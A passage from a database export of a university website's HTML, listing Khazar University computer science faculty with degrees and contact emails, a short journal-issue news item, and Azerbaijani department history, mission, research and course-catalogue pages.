src=\"/files/engineering/images/ahmad_babanli.jpg\" style=\"float:left;width:150px;height:202px;margin-left:7px;margin-right:7px;margin-bottom:7px\"><a href=\"http://www.khazar.org/files/engineering/ahmad_babanli_CV.pdf\">Əhməd Babanlı</a></strong></p><p>Kompüter Elmləri üzrə fəlsəfə doktoru (Moscow Power Engineering Institute, Russia)</p><p><strong>E-mail:&nbsp;</strong><a href=\"mailto:ababanli@khazar.org\">ababanli[at]khazar.org</a><br></p><p><br></p><p><br></p><p><br></p><hr><p><strong><a href=\"http://www.khazar.org/files/engineering/syllabi/CV-Rashad_Khaligov.pdf\"><img src=\"  http://www.khazar.org/files/engineering/images/Rashad_Khaligov.jpg\" style=\"float:left;width:150px;height:189px;margin-left:7px;margin-right:7px;margin-bottom:7px\">Rəşad Xalıqov</a></strong></p><p><a href=\"http://www.khazar.org/files/engineering/syllabi/CV-Rashad_Khaligov.pdf\"></a>Kompüter Elmləri üzrə magistr (Universite&nbsp;de&nbsp;Franche-Comte, France)  <br></p><p><strong>E-mail:</strong>&nbsp;<a href=\"mailto:rkhaliqov[at]khazar.org\">rkhaliqov[at]khazar.org</a>  <br></p><p><br></p><p><br></p><p><br></p>\r\n<hr>\r\n<p><strong><a href=\"http://www.khazar.org/files/engineering/syllabi/CV-Leyla_Muradkhanli.pdf\">Leyla Muradxanlı</a></strong><strong><img src=\"http://www.khazar.org/files/engineering/images/Leyla_Muradkhanli.jpg\" style=\"float:left;margin-left:7px;margin-right:7px;margin-bottom:7px;width:150px;height:189px\"></strong></p><p><strong><a href=\"http://www.khazar.org/files/engineering/syllabi/CV-Leyla_Muradkhanli.pdf\"></a></strong>Dosent, İnformasiya sistemlərinin idarə edilməsi üzrə fəlsəfə doktoru  (Azərbaycan Dövlət Neft Akademiyası)</p><p>İdarəetmə sistemləri üzrə magistr (Azərbaycan Dövlət Neft Akademiyası)</p><p>Enerjinin idarəedilməsi üzrə magistr (BI Norwegian School of Management, Norway)</p><p style=\"padding-left:160px\"><strong>E-mail: </strong><a href=\"mailto:leyla[at]khazar.org\">leyla[at]khazar.org</a></p><p style=\"padding-left:160px\"><br></p>\r\n<hr>\r\n<p><strong><a href=\"http://www.khazar.org/files/engineering/cv/ali_pourmohammad_cv.pdf\"><img src=\"/files/engineering/images/ali_pourmohammad.jpg\" style=\"width:150px;height:147px;margin-left:7px;margin-right:7px;margin-bottom:7px;float:left\">Ali Pourmohammad</a>&nbsp;<strong>- Visiting Professor</strong>  </strong><a href=\"http://www.khazar.org/files/engineering/cv/ali_pourmohammad_cv.pdf\"></a></p><p>PhD in Electrical &amp; Electronics Engineering (Applied Signal Processing)<br>(Amirkabir University of Technology (Tehran Polytechnic),&nbsp;Iran)  <br></p><p><strong>E-mail:&nbsp;</strong><a href=\"mailto:pourmohammad@khazar.org\">pourmohammad[at]khazar.org</a><br></p><p><br></p>\r\n<hr>\r\n<p><strong><a href=\"http://www.khazar.org/files/engineering/cv/behnam_kiani_kalejahi_cv.pdf\"><img src=\"/files/engineering/images/behnam_kiani_kalejahi.jpg\" style=\"width:150px;height:152px;margin-left:7px;margin-right:7px;margin-bottom:7px;float:left\">Behnam Kiani Kalejahi</a></strong></p><p>Kompüter Mühəndisliyi üzrə magistr&nbsp;(Tabriz Electrical and Computer Engineering (ECE) University,&nbsp;İran)</p><p>Biotibbi mühəndislik üzrə&nbsp;fəlsəfə doktorluğuna namizəd&nbsp;(Tabriz Electrical and Computer Engineering (ECE) University, İran)</p>    <p><strong>E</strong><strong>-mail:&nbsp;</strong><a href=\"mailto:kiani-bme@Hotmail.com\">kiani-bme[at]hotmail.com</a></p><p><br></p><hr><p><strong><a href=\"http://www.khazar.org/files/engineering/Mezahim_Guliyev_CV.pdf\"><img src=\"/files/engineering/images/mazahim_g.jpg\" style=\"float:left;width:150px;height:185px;margin-left:7px;margin-right:7px;margin-bottom:7px\">Məzahim Quliyev</a></strong></p><p><strong><a href=\"http://www.khazar.org/files/engineering/Mezahim_Guliyev_CV.pdf\"></a></strong>Texnika elmləri üzrə fəlsəfə doktoru (Azərbaycan Texniki Universiteti)</p><p><strong>E-mail:</strong>&nbsp;<a href=\"mailto:mazahim.guliyev@gmail.com\">mazahim.guliyev[at]gmail.com</a>  </p><p><br></p><p><br></p><p><br></p><hr><p style=\"font-weight:bold\"><img src=\"http://www.khazar.org/files/engineering/images/abdulsalam_s.jpg\" style=\"border:0px  #000000;float:left;width:150px;height:150px;margin-left:7px;margin-right:7px;margin-bottom:7px\"><a href=\"http://www.khazar.org/files/engineering/CV_Abdulsalam_Mustafa%20%2017%20.pdf\">Abdulsalam Salihu Mustafa</a></p><p>Kompüter Elmləri üzrə doktorant (Xəzər Universiteti,&nbsp;Azərbaycan)  </p><p>Kompüter Elmləri üzrə magistr (University\r\nof Hertfordshire, Hertfordshire, UK)  <br></p><p><strong>E-mail: </strong><a href=\"mailto:salamsm[at]yahoo.com\"></a><a href=\"mailto:abdulsalam.mustafa@khazar.org\">abdulsalam.mustafa[at]khazar.org</a><br></p><p><br></p><hr><strong><a href=\"http://www.khazar.org/files/engineering/Asim%20Namazov%20CV_7.pdf\"><img src=\"/files/engineering/images/asim-n.jpg\" style=\"width:150px;height:176px;margin-left:7px;margin-right:7px;margin-bottom:7px;float:left\"></a></strong><p><strong><a href=\"http://www.khazar.org/files/engineering/Asim%20Namazov%20CV_7.pdf\">Asim Namazov</a></strong></p><p><strong><a href=\"http://www.khazar.org/files/engineering/Asim%20Namazov%20CV_7.pdf\"></a></strong><strong><a href=\"http://www.khazar.org/files/engineering/Asim%20Namazov%20CV_7.pdf\"></a></strong>İnformasiya Texnologiyaları və Proqramlaşdırma üzrə magistr   (Azərbaycan Texniki Universiteti)</p><p><strong>E-mail:</strong>&nbsp;<a href=\"mailto:asimnamazov4[at]gmail.com\">asimnamazov4[at]gmail.com</a>&nbsp;</p><p><br></p><p><br></p><hr><p><strong><a href=\"http://www.khazar.org/files/engineering/izat_sh_CV(new).pdf\"><img src=\"http://www.khazar.org/files/petroleum_depart/Izat-Shahsenov.jpg\" style=\"float:left;width:150px;height:176px;margin-left:7px;margin-right:7px;margin-bottom:7px\">İzat Şahsenov</a></strong></p><p>Neft və qaz yataqlarının işlənməsi və istismarı üzrə doktorant&nbsp;(Xəzər Universiteti,&nbsp;Azərbaycan)</p><p>Tətbiqi Fizika və Riyaziyyat üzrə Magistr (Moskva Fizika və Texnologiya İnstitutu, Rusiya)</p><p><strong>E-mail:&nbsp;</strong><a href=\"mailto:izat.shahsenov@khazar.org\">izat.shahsenov[at]khazar.org</a>&nbsp;</p><p><br></p><p><br></p><hr><img src=\"http://www.khazar.org/files/engineering/images/parvana_s.gif\" style=\"width:150px;height:220px;margin-left:7px;margin-right:7px;margin-bottom:7px;float:left\"><p style=\"font-weight:bold\"><a href=\"http://www.khazar.org/files/letters/CV_Parvana_Salmanova_2018.pdf\">Pərvanə Salmanova</a></p><p>Kompüter Elmləri üzrə magistr (Bakı Dövlət Universiteti, Azərbaycan)<br></p><p><strong>E-mail: </strong><a href=\"mailto:psalmanova[at]khazar.org\">psalmanova[at]khazar.org</a>&nbsp;</p><p><br></p><p><br></p><p><br></p><p><br></p>\r\n<hr>\r\n<p><strong><a href=\"http://www.khazar.org/files/engineering/cv/maryam_garayeva_cv.pdf\"><img src=\"/files/engineering/images/maryam_garayeva.jpg\" style=\"width:150px;height:196px;margin-left:7px;margin-right:7px;margin-bottom:7px;float:left\">Məryəm Qarayeva</a></strong></p><p><strong><a href=\"http://www.khazar.org/files/engineering/cv/maryam_garayeva_cv.pdf\"></a></strong>İnformasiya İdarəetmə&nbsp;Sistemi  üzrə magistr&nbsp;(Bakı&nbsp;Mühəndislik Universiteti, Azərbaycan)</p><p><br></p><p><br></p><p>&nbsp;</p><p><br></p>\r\n<hr>\r\n<p><strong></strong><a href=\"http://www.khazar.org/files/letters/Lamiya_Namazova_CV.pdf\"><strong><img src=\"/files/letters/lamiya-n.jpg\" style=\"width:150px;height:205px;margin-left:7px;margin-right:7px;margin-bottom:7px;float:left\">Lamiyə Namazova</strong></a></p><p>Maliyyə üzrə magistr&nbsp;(Xəzər Universiteti,&nbsp;Azərbaycan)  </p><p><strong>E-mail:&nbsp;</strong><a href=\"mailto:lnamazova[at]khazar.org\">lnamazova[at]khazar.org</a>  </p><p><br>  </p><p><br></p><p><br></p>\r\n<hr>\r\n<strong><img src=\"http://www.khazar.org/files/quality_center/Picture_LS.jpg\" style=\"border:0px  #0000ee;width:150px;height:205px;margin-left:7px;margin-right:7px;margin-bottom:7px;float:left\"></strong><p><strong><a href=\"http://www.khazar.org/files/quality_center/CV%20Lyudmila%20Sotova.pdf\" target=\"_blank\">Lyudmila Sotova</a></strong></p><p><strong><a href=\"http://www.khazar.org/files/quality_center/CV%20Lyudmila%20Sotova.pdf\" target=\"_blank\"></a></strong>Sistemli analiz, İdarəetmə və İnformasiya Prosesləri üzrə&nbsp;doktorant (Xəzər Universiteti, Azərbaycan)</p>\r\n<p>Kitabxana və İnformasiya sistemləri üzrə&nbsp;magistr (Kiev National University of Culture and Arts,&nbsp;Ukraine)</p><p><strong>E-mail:</strong>&nbsp;<a href=\"http://mailto:lsotova@khazar.org/\">lsotova[at]khazar.org</a>&nbsp;</p><p><br></p><p><br></p>\r\n<hr>\r\n<p><strong><a href=\"http://www.khazar.org/files/pdf/CVRahman_Rasulzade.pdf\"><img src=\"/files/engineering/images/rahman_rasulzada.jpg\" style=\"float:left;width:150px;height:159px;margin-left:7px;margin-right:7px;margin-bottom:7px\">Rəhman Rəsulzadə</a></strong></p><p>MS in Control System Engineering (Texas A&amp;M University, College Station, USA)</p>  <p><strong>E-mail:&nbsp;</strong><a href=\"mailto:rahman.rasulzada@khazar.org\">rahman.rasulzada[at]khazar.org</a><br></p><p><br></p><p><br></p>\r\n<hr>\r\n<img src=\"http://www.khazar.org/files/engineering/images/ismayil_i.jpg\" style=\"float:left;width:150px;height:161px;margin-left:7px;margin-right:7px;margin-bottom:7px\"><p><strong><a href=\"http://www.khazar.org/files/engineering/syllabi/CV-Ismayil_Ismayilov.pdf\">İsmayıl</a>&nbsp;</strong><strong><a href=\"http://www.khazar.org/files/engineering/syllabi/CV-Ismayil_Ismayilov.pdf\">İsmayılov</a></strong></p><p><strong><a href=\"http://www.khazar.org/files/engineering/syllabi/CV-Ismayil_Ismayilov.pdf\"></a></strong>Sistemli analiz, idarəetmə və informasiyanın işlənməsi üzrə fəlsəfə&nbsp;doktoru&nbsp;(Kibernetika İnstitutu, Azərbaycan Milli Elmlər Akademiyası)</p><p>Mühəndislik üzrə magistr (Azərbaycan Dövlət Neft Akademiyası)&nbsp;</p><p><strong>E-mail:&nbsp;</strong><a href=\"mailto:ismayil.ismayilov[at]khazar.org\">ismayil.ismayilov[at]khazar.org</a>&nbsp;<br></p><p><br></p>\r\n<hr>\r\n<p><strong><img src=\"/files/engineering/images/parvana_h.jpg\" style=\"float:left;width:150px;height:202px;margin-left:7px;margin-right:7px;margin-bottom:7px\"><a href=\"http://www.khazar.org/files/engineering/Parvana_Hasanova_CV.pdf\">Pərvanə Həsənova</a></strong></p><p>Riyaziyyat üzrə fəlsəfə doktoru (Bakı&nbsp;Dövlət Universiteti, Azərbaycan)</p><p><strong>E-mail:</strong>&nbsp;<a href=\"mailto:hasanova_parvana@mail.ru\">hasanova_parvana[at]mail.ru</a><br></p><p><br></p><p><br></p><p><br></p>\r\n<hr>\r\n<strong><a href=\"http://www.khazar.org/files/engineering/Javidan.Feyziyev_CV.pdf\"><img src=\"/files/engineering/images/javidan_f.jpg\" style=\"float:left;width:150px;height:135px;margin-left:7px;margin-right:7px;margin-bottom:7px\"></a></strong><p><strong><a href=\"http://www.khazar.org/files/engineering/Javidan.Feyziyev_CV.pdf\">Cavidan Feyziyev</a></strong></p><p>Avtomatika və İnformasiya üzrə magistr&nbsp;(Azərbaycan&nbsp;Dövlət Neft Akademiyası)</p><p><strong>E-mail:&nbsp;</strong><a href=\"mailto:javidan.feyziyev@khazar.org\">javidan.feyziyev[at]khazar.org</a></p>  <p><br></p>\r\n<hr>\r\n<a href=\"http://www.khazar.org/files/engineering/syllabi/syllabus_2017_fall/Computer/Ulviyya%20Ahmadova_CV.pdf\"><strong><img src=\"http://www.khazar.org/files/engineering/images/ulviyya_a.JPG\" style=\"float:left;width:150px;height:208px;margin-left:7px;margin-right:7px;margin-bottom:7px\"></strong></a><p><a href=\"http://www.khazar.org/files/engineering/syllabi/syllabus_2017_fall/Computer/Ulviyya%20Ahmadova_CV.pdf\"><strong>Ülviyyə Əhmədova</strong></a></p><p>MS in&nbsp;Business Administration,&nbsp;Production &amp; Operations Management (Azerbaijan State Oil Academy &amp; Georgia State University)</p><p><strong>E-mail:</strong>&nbsp;<a href=\"mailto:ulviyya.ahmadova@yahoo.com\">ulviyya.ahmadova[at]yahoo.com</a><br></p><p><br></p><p><br></p><p><br></p>\r\n<hr>\r\n<p><strong><a href=\"http://www.khazar.org/files/engineering/syllabi/CV-Zeynab_Muradkhanli.pdf\"><img src=\"http://www.khazar.org/files/engineering/images/Zeynab_Muradkhanli.jpg\" style=\"border:0px #0000ee;width:150px;height:189px;margin-right:7px;margin-bottom:7px;margin-left:7px;float:left\"></a></strong><strong><a href=\"http://www.khazar.org/files/engineering/CV_Zeynab_Muradkhanli.pdf\">Zeynəb Muradxanlı</a></strong></p><p>Sistemli analiz, İdarəetmə və İnformasiyanın işlənməsi&nbsp;üzrə&nbsp;doktorant (Xəzər Universiteti, Azərbaycan)  <br></p><p><strong><a href=\"http://www.khazar.org/files/engineering/syllabi/CV-Zeynab_Muradkhanli.pdf\"></a></strong>İdarəetmə sistemləri üzrə magistr (Azərbaycan Dövlət Neft Akademiyası)  </p><p><strong>E-mail:&nbsp;</strong><a href=\"mailto:zeynab.muradkhanli@khazar.org\">zeynab.muradkhanli[at]khazar.org</a></p>\r\n<p><br></p><p><br></p><p><br></p>\r\n<hr>\r\n<p><strong><a href=\"http://www.khazar.org/files/engineering/Sahla_Ahmadova_CV.pdf\">Şəhla Əhmədova</a></strong><strong><img src=\"/files/engineering/images/shahla_ahmadova.jpg\" style=\"float:left;width:150px;height:194px;margin-left:7px;margin-right:7px;margin-bottom:7px\"></strong></p><p>Kompüter Mühəndisliyi üzrə magistr&nbsp;(Azərbaycan Dövlət Neft və Sənaye Universiteti)</p><p><strong style=\"font-weight:bold\">E-mail:</strong>  <a href=\"mailto:ahmadova06@gmail.com\">ahmadova06[at]gmail.com</a><br></p><p><br></p><p><br></p><p><br></p>'),(1808,1119,'en','April Issue of Khazar Review Journal Printed','The April 2016 issue (number 350) of Khazar Review has been printed by Khazar University Press. ','<p>The\r\nApril 2016 issue (number 350) of Khazar Review has been printed by Khazar\r\nUniversity Press. The full journal may be read at this link: <a href=\"http://khazar-review.khazar.org/\">http://khazar-review.khazar.org/</a></p>'),(856,256,'az','Tarixi','Tarixi','<p>Kompüter Elmləri və Kompüter Mühəndisliyi  departamenti Kompüter Elmləri və Kompüter Mühəndisliyi üzrə çevik bakalavr, magistr və PhD proqramları təklif edir.&nbsp;</p><p>Kompüter Elmləri və Kompüter Mühəndisliyi  departamenti Riyaziyyat departamentinin əməkdaşlığı ilə 2009-cu ildən&nbsp;Riyaziyyat və Kompüter Təhsili bakalavr proqramına başlamışdır.&nbsp;</p><p>Departamentin strategiyası əla təhsil və elmi-tədqiqat potensialı ilə yüksək standartlara nail olmaqdır.&nbsp;</p>'),(857,257,'az','Missiya','Missiya','<p>Departamentin əsas məqsədi kompüterlərin nəzəriyyə və prinsiplərini computer sistemlərinin layihələndirilməsi, yaradılması, qiymətləndirilməsi və təkmilləşdirilməsi üçün müasir computer vasitələrindən istifadə edilməsi təcrübəsi ilə birləşdirən kurrikulum təmin etməkdir.</p><p>Departament iki bölmədən (istiqamətdən) ibarətdir :</p><ul><li>Kompüter Elmləri</li><li>Kompüter Mühəndisliyi</li></ul><p>Hər bir istiqamət öz sahəsin də proqramların yaradılmasına cavabdehdir.</p><p>Kompüter Elmləri dərsləri və elmi-tədqiqat işləri nəzəri modellərdən praktiki tətbiqlərə qədər proqramlara&nbsp;diqqətini yönəldir.</p><p>Kompüter Mühəndisliyi rəqəmsal dizayn, kompüterlərin aparat vasitələri və arxitekturası, proqram təminatı və proqramlaşdırma və aparat vasitələri ilə proqram təminatının qarşılıqlı əlaqəsini əhatə edir.</p><p>Departamentin bütün proqramları tələbələrin və peşəkarların gələcək karyera inkişafı tələbatlarını qarşılamaq üçün güclü platformanın qurulması ilə dizayn edilmişdir.</p><p>Bu proqramlar diqqətini proqramlaşdırma dilləri, kompüterlərin arxitekturası, alqoritmlər, əməliyyat sistemləri, kompüter şəbəkələri, süni intellekt və başqa əsas və köməkçi sahələr kimi kompüter elmlərinin bütün sahələrinə yönəldir. Tələbələr kompüter elmləri təhsilini elektrik mühəndisliyinin dövrələr nəzəriyyəsi, siqnal və sistemlər, elektronika, inteqral dövrələr və qurğuların istifadəsi&nbsp;kimi uyğun aspektləri ilə kombinə edir.</p><p>Departament həmçinin digər fakültələrin tələbələri üçün bir sıra dərslər təklif edir. Bu dərslər müxtəlif sahələrdə kompüterləri effektiv tətbiq etmək və maraqlarına uyğun elmi-tədqiqat işləri aparmaq üçün bakalavr&nbsp;tələbələrinə dizayn edilmişdir.</p>'),(858,258,'az','Elmi-tədqiqat','Elmi-tədqiqat','<p>Professor müəllim heyətinin kompüter texnologiyalarının tədris prosesində tətbiq etmək bacarığı və elmi-tədqiqat problemlərinə xüsusi diqqət verməsi departamentin üstünlüklərindəndir.&nbsp;</p><p>Elmi-tədqiqat işləri aşağıdakı sahələrdə aparılır:  <br></p><ul><li>Süni İntellekt</li><li>Verilənlərin kommunikasiyası və şəbəkələr</li><li>Verilənlər bazaları</li><li>Təsvirlərin tanınması</li><li>Multimediya sistemləri</li><li>Kompüter qrafikası</li><li>İnformasiya sistemləri</li></ul><p>Departamentdə universitetin Neftçilər və Mərkəz kampuslarının və Dünya məktəbinin tələbələrinə xidmət edən&nbsp;kompüter mərkəzi və 7 kompüter laboratoriyası mövcuddur. Onlar müasir kompüter və elektrik avadanlıqları ilə təchiz edilmişlər.Departamentin tədris və elmi-tədqiqat maraqları ölkədə və xaricdə digər təhsil və elmi qurumlar ilə əməkdaşlıq etməyə səbəb olur.</p>'),(859,259,'az','Fənlər','Fənlər','<p><strong><em>CMS 101 : Kompüter Elmlərinə giriş (6 ECTS&nbsp;kredit)</em></strong></p>\r\n<p style=\"\" margin-bottom:7.5pt;text-align:justify;background:white\"\"=\"\"><strong><em>Prerekvizit : Yox</em></strong><em></em></p>\r\n<p style=\"\" margin-bottom:7.5pt;text-align:justify;background:white\"\"=\"\">Tələbələr\r\nkompüterlərin nəsilləri, computer sistemlərinin hissələri, kompüterin aparat və\r\nproqram təminatı, verilənlər, İnternetin əsasları və funksiyaları ilə tanış\r\nolurlar.</p>\r\n<p style=\"\" margin-bottom:7.5pt;text-align:justify;background:white\"\"=\"\">&nbsp;</p>\r\n<p style=\"\" margin-bottom:7.5pt;text-align:justify;background:white\"\"=\"\"><strong><em>CMS 105: Kompüter Proqramlaşdırmasının\r\nəsasları (6 <strong><em>ECTS&nbsp;</em></strong>kredit)</em></strong><em></em></p>\r\n<p style=\"\" margin-bottom:7.5pt;text-align:justify;background:white\"\"=\"\"><strong><em>Prerekvizit : CMS 101</em></strong><em></em></p>\r\n<p style=\"\" margin-bottom:7.5pt;text-align:justify;background:white\"\"=\"\">Proqramlaşdırmanın\r\nprinsiplərinə və prosedur düşüncəyə giriş. Prosedur abstraksiya, verilənlərin\r\nabstraksiyası, modulluq, obyekt-yönümlü proqramlaşdırma. Proqramlaşdırma dili\r\nsxemi və kompüter vasitələrindən istifadə edir. Ədədi və simvolik proqramlardan\r\nibarət proqramlaşdırma tapşırıqları.</p>\r\n<p style=\"\" margin-bottom:7.5pt;text-align:justify;background:white\"\"=\"\">&nbsp;</p>\r\n<p style=\"\" margin-bottom:7.5pt;text-align:justify;background:white\"\"=\"\"><strong><em>CMS 112: İnformasiya Texnologiyalarının\r\nƏsasları (CISCO kursu) (6&nbsp;<strong><em>ECTS</em></strong>&nbsp;kredit)</em></strong><em></em></p>\r\n<p style=\"\" margin-bottom:7.5pt;text-align:justify;background:white\"\"=\"\"><strong><em>Prerekvizit :</em></strong><em>&nbsp;<strong>CMS\r\n101</strong></em></p>\r\n<p style=\"\" margin-bottom:7.5pt;text-align:justify;background:white\"\"=\"\">Tələbələr aparat və\r\nproqram vasitələrinin funksiyaları, həmçinin texniki xidmət (təmir) və\r\ntəhlükəsizlik məsələlərində ən yaxşı təcrübələri öyrənirlər. Tələbələr praktiki\r\nfəaliyyət və laboratoriyalar vasitəsilə kompüterlərin yığılması və\r\nkonfiqurasiyası, əməliyyat sistemi və proqramların yazılması və aparat və\r\nproqram vasitələrindəki problemləri aradan qaldırmağı öyrənəcəklər. Bundan\r\nbaşqa, şəbəkələrə giriş də bu kursa daxil edilmişdir.</p>\r\n<p style=\"\" margin-bottom:7.5pt;text-align:justify;background:white\"\"=\"\"><strong>&nbsp;</strong></p>\r\n<p style=\"\" margin-bottom:7.5pt;text-align:justify;background:white\"\"=\"\"><strong><em>CMS 115: Sistem Proqramlaşdırma (6\r\n<strong><em>ECTS</em></strong>  kredit)</em></strong><em></em></p>\r\n<p style=\"\" margin-bottom:7.5pt;text-align:justify;background:white\"\"=\"\"><strong><em>Prerekvizit : CMS 101</em></strong><em></em></p>\r\n<p style=\"\" margin-bottom:7.5pt;text-align:justify;background:white\"\"=\"\">Assembler dili və\r\nəməliyyat sistemləri əsaslarına giriş kursu. Say sistemləri, maşın dili və\r\nassembler dili.&nbsp;Assembler. Əməliyyat sistemləri: proseslər, proseslərin\r\nidarə edilməsi, giriş/çıxış proqramlaşdırma, yaddaşın idarə ediməsi, fayl\r\nsistemləri.</p>\r\n<p style=\"\" margin-bottom:7.5pt;text-align:justify;background:white\"\"=\"\">&nbsp;</p>\r\n<p style=\"\" margin-bottom:7.5pt;text-align:justify;background:white\"\"=\"\"><strong><em>CMS 202: Kompüterlərin mühəndislikdə tətbiqi\r\n(6 <strong><em>ECTS</em></strong>  kredit)</em></strong><em></em></p>\r\n<p style=\"\" margin-bottom:7.5pt;text-align:justify;background:white\"\"=\"\"><strong><em>Prerekvizit : CMS 101</em></strong><em></em></p>\r\n<p style=\"\" margin-bottom:7.5pt;text-align:justify;background:white\"\"=\"\">Mühəndislikdə\r\nkompüterlərin tətbiqinə aid praktiki kursdur. Mövzular mətn redaktorları,\r\nelektron cədvəllər, verilənlərin idarə edilməsi, qrafika və telekommuniasiyanı\r\nəhatə edir.</p>\r\n<p style=\"\" margin-bottom:7.5pt;text-align:justify;background:white\"\"=\"\"><strong>&nbsp;</strong></p>\r\n<p style=\"\" margin-bottom:7.5pt;text-align:justify;background:white\"\"=\"\"><strong><em>CMS 204: C Proqramlaşdırma dili (8 <strong><em>ECTS</em></strong>  kredit)</em></strong><em></em></p>\r\n<p style=\"\" margin-bottom:7.5pt;text-align:justify;background:white\"\"=\"\"><strong><em>Prerekvizit : CMS 101</em></strong><em></em></p>\r\n<p style=\"\" margin-bottom:7.5pt;text-align:justify;background:white\"\"=\"\">Giriş/çıxış,\r\ndəyişənlərin tipləri, operatorlar, massivlər, funksiyalar, strukturlar,\r\nmakroslar və genişləndirilmiş funksiyalar. Alqorutmik, prosedur proqram həlli.</p>\r\n<p style=\"\" margin-bottom:7.5pt;text-align:justify;background:white\"\"=\"\"><strong>&nbsp;</strong></p>\r\n<p style=\"\" margin-bottom:7.5pt;text-align:justify;background:white\"\"=\"\"><strong><em>CMS 208: Kompüter elmlərinin riyazi əsasları\r\n(6 <strong><em>ECTS</em></strong>  kredit)</em></strong><em></em></p>\r\n<p style=\"\" margin-bottom:7.5pt;text-align:justify;background:white\"\"=\"\"><strong><em>Prerekvizit : CMS 105</em></strong><em></em></p>\r\n<p style=\"\" margin-bottom:7.5pt;text-align:justify;background:white\"\"=\"\">Sonlu və struktur\r\nriyaziyyatın əsas anlayışları. Çoxluqlar, aksiomatik sistemlər, predikat cəbri\r\nvə qraflar nəzəriyyəsi. Kompüter elmlərinin tətbiqi: ardıcıl maşınlar, formal\r\nqrammatika və proqram təminatı dizaynı.</p>\r\n<p style=\"\" margin-bottom:7.5pt;text-align:justify;background:white\"\"=\"\"><strong>&nbsp;</strong></p>\r\n<p style=\"\" margin-bottom:7.5pt;text-align:justify;background:white\"\"=\"\"><strong><em>CMS 213: Verilənlərin analizi və\r\nqiymətləndirilməsi (6 <strong><em>ECTS</em></strong>  kredit)</em></strong><em></em></p>\r\n<p style=\"\" margin-bottom:7.5pt;text-align:justify;background:white\"\"=\"\"><strong><em>Prerekvizit : EENG 302</em></strong><em></em></p>\r\n<p style=\"\" margin-bottom:7.5pt;text-align:justify;background:white\"\"=\"\">&nbsp;</p>\r\n<p style=\"\" margin-bottom:7.5pt;text-align:justify;background:white\"\"=\"\">Tələbələrə təsadüfi\r\nverilənlərin analizi və qiymətləndirmə prosedurlarının praktiki aspektləri\r\ntəqdim olunur. Təsadüfi verilənlərin statistik xarakteristikaları, korrelyasiya,\r\nspektral sıxlıq, giriş/çıxış münasibətləri, statistik xətalar, bağlılıq\r\nfunksiyaları, verilənlərin alınması və emalı üsulları.</p>\r\n<p style=\"\" margin-bottom:7.5pt;text-align:justify;background:white\"\"=\"\"><strong>&nbsp;</strong></p>\r\n<p style=\"\" margin-bottom:7.5pt;text-align:justify;background:white\"\"=\"\"><strong><em>CMS 215: Verilənlərin strukturu (6 <strong><em>ECTS</em></strong>  kredit)</em></strong><em></em></p>\r\n<p style=\"\" margin-bottom:7.5pt;text-align:justify;background:white\"\"=\"\"><strong><em>Prerekvizit : CMS 204</em></strong><em></em></p>\r\n<p style=\"\" margin-bottom:7.5pt;text-align:justify;background:white\"\"=\"\">Verilənlərin ilkin\r\nstrukturları. Massivlər. Steklər. Növbə. Ardıcıl yaddaşın paylanması.&nbsp;Keçid konsepsiyası. Ağaclar, qraflar. Verilənlərin strukturunun tətbiqi.</p>\r\n<p style=\"\" margin-bottom:7.5pt;text-align:justify;background:white\"\"=\"\"><strong>&nbsp;</strong></p>\r\n<p style=\"\" margin-bottom:7.5pt;text-align:justify;background:white\"\"=\"\"><strong><em>CMS 218: Verilənlərin strukturu və alqoritmlər\r\n(8 <strong><em>ECTS</em></strong>  kredit)</em></strong><em></em></p>\r\n<p style=\"\" margin-bottom:7.5pt;text-align:justify;background:white\"\"=\"\"><strong><em>Prerekvizit : CMS 215</em></strong><em></em></p>\r\n<p style=\"\" margin-bottom:7.5pt;text-align:justify;background:white\"\"=\"\">Qraflar. Çeşidləmə.\r\nHeş. Ağacvari strukturlar. Axtarış strukturları. Komplekslik. Paralel\r\nalqoritmlər. Faylların təşkili.</p>\r\n<p style=\"\" margin-bottom:7.5pt;text-align:justify;background:white\"\"=\"\"><strong>&nbsp;</strong></p>\r\n<p style=\"\" margin-bottom:7.5pt;text-align:justify;background:white\"\"=\"\"><strong><em>CMS 221: Kompüter əsasında informasiyanın\r\nemalı (6 <strong><em>ECTS</em></strong>  kredit)</em></strong><em></em></p>\r\n<p style=\"\" margin-bottom:7.5pt;text-align:justify;background:white\"\"=\"\"><strong><em>Prerekvizit : CMS 101</em></strong><em></em></p>\r\n<p style=\"\" margin-bottom:7.5pt;text-align:justify;background:white\"\"=\"\">Kompüterlərin\r\nnəsilləri. Kompüter sisteminin komponentləri : mərkəzi emal qurğusu, giriş,\r\nçıxış və köməkçi yaddaş qurğuları. Faylların təşkili. Verilənlərin rabitəsi.\r\nƏməliyyat sistemləri. Sistemlərin təhlili və dizayni. Verilənlər bazasının\r\nidarəetmə sistemləri. Verilənlərin təsviri və emalı, mətn redaktoru, electron\r\ncədvəllər kimi tətbiqi proqram təminatı.</p>\r\n<p style=\"\" margin-bottom:7.5pt;text-align:justify;background:white\"\"=\"\"><strong>&nbsp;</strong></p>\r\n<p style=\"\" margin-bottom:7.5pt;text-align:justify;background:white\"\"=\"\"><strong><em>CMS 230: İnternet Proqramlaşdırma&nbsp;(6\r\n<strong><em>ECTS</em></strong>  kredit)</em></strong><em></em></p>\r\n<p style=\"\" margin-bottom:7.5pt;text-align:justify;background:white\"\"=\"\"><strong><em>Prerekvizit : CMS 105</em></strong><em></em></p>\r\n<p style=\"\" margin-bottom:7.5pt;text-align:justify;background:white\"\"=\"\">İnternet və World Wide\r\nWeb alətləri və resurslarına giriş. İnternet utilitləri, multimediya və\r\ntəhlükəsizlik problemləri.&nbsp;Tələbələr HTML ilə praktiki biliklər əldə\r\nedəcəklər.&nbsp;Java Script kimi dillərdə apletlər.</p>\r\n<p style=\"\" margin-bottom:7.5pt;text-align:justify;background:white\"\"=\"\">&nbsp;</p>\r\n<p style=\"\" margin-bottom:7.5pt;text-align:justify;background:white\"\"=\"\"><strong><em>CMS 280: CISCO Şəbəkə Administratoru\r\nSertifikatı 1 (CCNA 1) (6&nbsp;<strong><em>ECTS</em></strong>  kredit</em></strong><strong><em>)</em></strong></p>\r\n<p style=\"\" margin-bottom:7.5pt;text-align:justify;background:white\"\"=\"\"><strong><em>Prerekvizit :</em></strong><strong><em>&nbsp;CMS\r\n202</em></strong></p>\r\n<p style=\"\" margin-bottom:7.5pt;text-align:justify;background:white\"\"=\"\">Bu kurs şəbəkə və\r\ntelekommunikasiya texnologiyaları, aparat və proqram təminatı da daxil olmaqla,\r\nverilənlərin rabitəsi və şəbəkə tələbləri üzrə dərin bilik verir. Əsas diqqət\r\ntəşkilatlarda şəbəkə tətbiqlərinin təhlili və dizaynına verilir.\r\nTelekommunikasiya şəbəkələrinin idarə edilməsi, xərc-mənfəət təhlili 